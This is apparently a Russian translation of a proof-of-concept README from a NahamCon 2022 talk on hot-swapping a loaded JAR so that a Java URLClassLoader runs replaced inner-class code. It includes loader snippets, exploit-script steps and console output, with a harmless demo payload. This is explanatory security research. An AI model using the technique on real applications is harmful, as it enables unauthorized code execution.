
Демонстрация JAR-swapping в URLClassLoader, показывающая возможность заменять и эксплуатировать уже загруженный JAR с внутренними классами.
Приведённый ниже пример кода демонстрирует возможность «горячей» замены уже загруженного JAR-файла и получения выполнения кода за счёт того, что внутренние классы по-прежнему обращаются к JAR-файлу при вызове, если inode не меняется.
Проверено на MacOS с OpenJDK (а также эксплуатировалось в издателе Apple Author с помощью Transporter).
Демо из доклада Франса Розена «Story of a RCE on Apple through hot jar swapping» на NahamCon 2022 EU.
build-and-run.shЗапускается так:
./build-and-run.sh
Этот скрипт:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper загрузит и запустит класс HelloWorld.Main через URLClassLoader и предложит вам вызвать метод hello класса , который тоже уже был загружен. Это нужно для контроля момента замены уже загруженного JAR-файла.
HelloWorld.Secondary$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Теперь вы можете решить, нажать ли Enter без замены JAR — в этом случае вы увидите обычный ход выполнения кода из HelloWorld/Secondary.java:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shСкрипт exploit.sh делает следующее:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
Важна именно операция копирования при перезаписи HelloWorld.jar файлом exploit.jar, потому что если inode изменится, эксплойт не сработает. Команда mv создаёт новый inode, а cp в существующий файл — нет. То же самое происходило при извлечении ZIP: inode уже существующего JAR никогда не менялся, что позволяло эксплойту работать.
Если вы хотите проверить горячую замену JAR, запустите exploit.sh в отдельном окне после запуска, но до нажатия Enter при вызове build-and-run.sh:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
Если теперь нажать Enter в ./build-and-run.sh, вы должны увидеть вместо этого заменённый код:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
Это показывает, что мы можем злоупотребить тем, что внутренние/анонимные классы по-прежнему загружаются из физического JAR-файла, даже если URLClassLoader уже загрузил JAR до его замены.
Этот репозиторий с кодом объясняет, что можно перезаписывать уже загруженные JAR-файлы и получать выполнение кода при соблюдении нескольких предварительных условий.
Идея в том, что JAR изначально загружается через URLClassLoader:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
А вторичный класс также загружался при запуске, но ни разу не вызывался:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
Если затем заменить JAR во время работы приложения, и у класса, который был загружен, но у которого ни разу не вызывались методы, есть внутренние классы, мы сможем заставить его выполнить другой код из нового JAR, если вызов произойдёт позже:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
Итак, если этот метод содержит внутренний класс (в JAR они отображаются как $1.class), и мы заменим этот внутренний класс на что-то с тем же размером и степенью сжатия, мы сможем выполнить горячую замену JAR и запустить собственный код.
Анонимный класс из файла Exploit/HelloWorld/Secondary.java компилируется во внутренний класс Exploit/HelloWorld/Secondary$1.class, размер и степень сжатия которого совпадают с теми, что получаются при компиляции и сжатии HelloWorld/Secondary.java. Если бы размер или степень сжатия отличались, при нажатии Enter в build-and-run.sh произошёл бы сбой.
Так, если изменить Exploit/HelloWorld/Secondary.java, например (functionn вместо function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
В этом случае результат сжатия тот же, но степень сжатия неверная:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
вы увидите:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
На OpenJDK, похоже, если исходный размер отличается, но размер сжатого файла тот же, это всё равно работает:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
Скрипт exploit.sh всё равно сообщит о различии, поскольку это может не работать во всех версиях.
Вы также увидите, что если изменить в Exploit/HelloWorld/Secondary.java что-то за пределами внутреннего класса, например:
System.out.println("\nEnd of run, goodbye");
на:
System.out.println("\nEnd of run, goodbya");
что сделает Secondary.class с той же степенью сжатия и размером, это всё равно не запустит заменённое содержимое, поскольку класс уже загружен URLClassLoader. Это подтверждает, что затрагиваются только внутренние классы (те, что называются $1.class в JAR), так как они загружаются из JAR-файла при использовании:
End of run, goodbye